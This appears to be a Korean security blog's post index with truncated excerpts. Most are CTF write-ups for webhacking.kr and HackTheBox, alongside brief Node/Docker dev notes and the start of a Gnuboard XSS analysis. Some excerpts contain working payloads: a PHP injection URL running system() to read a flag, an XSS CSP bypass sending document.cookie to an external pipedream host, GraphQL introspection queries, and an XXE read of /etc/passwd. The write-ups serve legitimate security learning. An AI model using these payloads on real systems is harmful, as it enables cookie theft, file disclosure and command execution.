webhacking.kr NotSQL

GraphQL GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇지만 백엔드 개발자가 GraphQL 기능의 권한을 제대로 검사하지 않을 경우 Broken Authentication Control에 취약할 수 있다. Exploit. webhacking.kr:10012/view.php?query={__schema{types{name}}} webhacking.kr:10012/view.php?query=query {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDepr..

HackTheBox LoveTok write-up

문제에 접근하면 제일 처음 이런 화면을 볼 수 있다. 사실 문제 소스가 제공되는 문제이다. format을 입력하면 그에 맞는 포맷으로 시간을 리턴하는 간단한 웹페이지다. 하지만 포맷을 입력할 때 다음과 같은 코드를 사용한다. PHP에서는 string 안에서 변수에 접근하거나 함수를 실행할 수 있기 때문에 system() 함수를 실행할 수 있다. http://138.68.182.108:31769/?format={$_GET[0]($_GET[1])}&0=system&1=ls+-al+/;cat+/flagmKC78 끝이다.

webhacking.kr CHILD write-up

문제 분석 전형적인 XSS 문제이고, CSP를 우회하는 문제이다. 해당 문제의 HTTP Header를 보면 다음과 같다. script-src https://*.google.com/ 으로 되어있다. google의 서비스 중 하나를 찾아서 reflective한 값을 출력해주는 곳을 찾아야 하겠다. Exploit. ?inject=%3Cscript+src=%22https://accounts.google.com/o/oauth2/revoke?callback=(location.href=%27https://enl33h4vtg95t8o.m.pipedream.net/?c=%27%252bdocument.cookie);%22%3E%3C/script%3E 구글링을 조금 해보니까 callback을 통해 javascript cod..

HackTheBox baby website rick write-up

>>> pickletools.dis(b64decode(code)) 0: ( MARK 1: d DICT (MARK at 0) 2: p PUT 0 5: S STRING 'serum' 14: p PUT 1 17: c GLOBAL 'copy_reg _reconstructor' 42: p PUT 2 45: ( MARK 46: c GLOBAL '__main__ anti_pickle_serum' 74: p PUT 3 77: c GLOBAL '__builtin__ object' 97: p PUT 4 100: N NONE 101: t TUPLE (MARK at 45) 102: p PUT 5 105: R REDUCE 106: p PUT 6 109: s SETITEM 110: . STOP highest protocol am..

HackTheBox baby breaking grad write-up

오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 취약점 분석 1트 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다. Javascript Prototype Pollution으로 푸는 문제인가 싶어서 includes에서 취약점이 있다고 가정하고 계속 삽질했다. 출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다. 2트 /api/ca..

HackTheBox baby todo or not todo write-up

소스가 제공되는 문제이다. Python Flask로 구동된다. Broken Authentication 문제이며 고등학생 때는 이런 문제를 보면 더러운 문제라고 욕했지만, 실제로 회사에서 진행했던 펜테스팅 프로젝트에서 Broken Authentication 상태의 웹 서비스를 많이 볼 수 봐서 그런지 이 문제에 공감이 많이 되었다. 소스분석 /challenge/application/blueprints/routes.py 에 들어가보면 URL에 매핑된 코드들을 볼 수 있다. TODO를 봐도 알 수 있지만 딱봐도 아무런 인증 구현없이 모든 todo objects를 뿌리는 걸 볼 수 있다. 여기에 접속했더니 flag가 있다. 익스플로잇. 139.59.178.146:30794/api/list/all/?secret=..

HackTheBox baby WAFfles order write-up

이 문제는 소스코드가 제공되는 줄 모르고 계속 삽질하다가 포기했었다. 근데 다시 보니까 소스코드가 있었고, 한 3분만에 풀었다. 소스 분석 문제에서 제공된 index.php 의 소스코드는 아래와 같다. asdf&internal; asdf 아래와 같은 Response를 받았다. Your asdfroot:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutd..

How to show image, not download in nodejs express

const attachment = await AttachmentAPI.get_file_by_id(attachment_id); /* ... */ const filename = attachment.filename; const extension = filename.split('.').pop().toLowerCase(); /* ... */ res.contentType(`image/${extension}`); /* ... */ try { const content = await fs.readFileSync(attachment.path); res.end(content); } catch (error) { // Error Handling } Use res.end(), not res.send() OK?

How to connect to MySQL running in Docker

고등학교 때만 해도 'Docker는 어렵다!'라는 생각이 머릿 속에 박혀있던 탓에, Dockerizing을 하지 않았다. 그게 심지어 해킹대회 문제였을지라도 Linux의 기본 RWX 권한을 사용해 시스템을 구축했었다. docker-compose 라는 도구를 알게 되고, 회사에서도 반복적으로 Dockerizing을 한 결과 Docker를 능수능란하게 다룰 수 있게 되었다. Docker 안에 데이터베이스 서버를 넣고 해당 서버에 접속하기 위한 2가지 방법이 있는데 오늘은 그것을 까먹지 않기 위해 적어보려고 한다. 방법 1. mysql -h localhost -P 3306 --protocol=tcp -u root -p mysql-client에 --protocol 옵션을 사용해서 접속하는 방법. 방법 2. su..

재밌는 그누보드 RXSS

0. 개요 회사에서 사이드프로젝트 느낌으로 오픈소스 CMS 분석을 하고 있다. 고등학교 1학년 때부터 그누보드를 취약점 분석해보겠다고 말만 하다가 처음으로 진지하게 분석해보고 있는데, 생각보다 취약점을 쉽게 찾을 수 있었다. 거의 RXSS이긴 했지만 그래도 취약점은 취약점이니깐 🤭 ㅎ 1. 취약점 분석 🎮 그누보드만의 특징이라고 하면 이것을 빼놓을 수 없다. 아래는 그누보드를 한번이라도 분석해 본 사람이라면 알 common.php 의 코드이다. common.php는 거의 모든 파일에서 include 되어 실행되며, extract() 함수를 사용하여 사용자로부터 변수를 입력받는다. 이 점 덕분에 변수를 편하게 사용할 수 있다는 점이 장점이지만, 보안 취약점에 노출된다는 큰 단점이 생긴다. $_GET과 $_..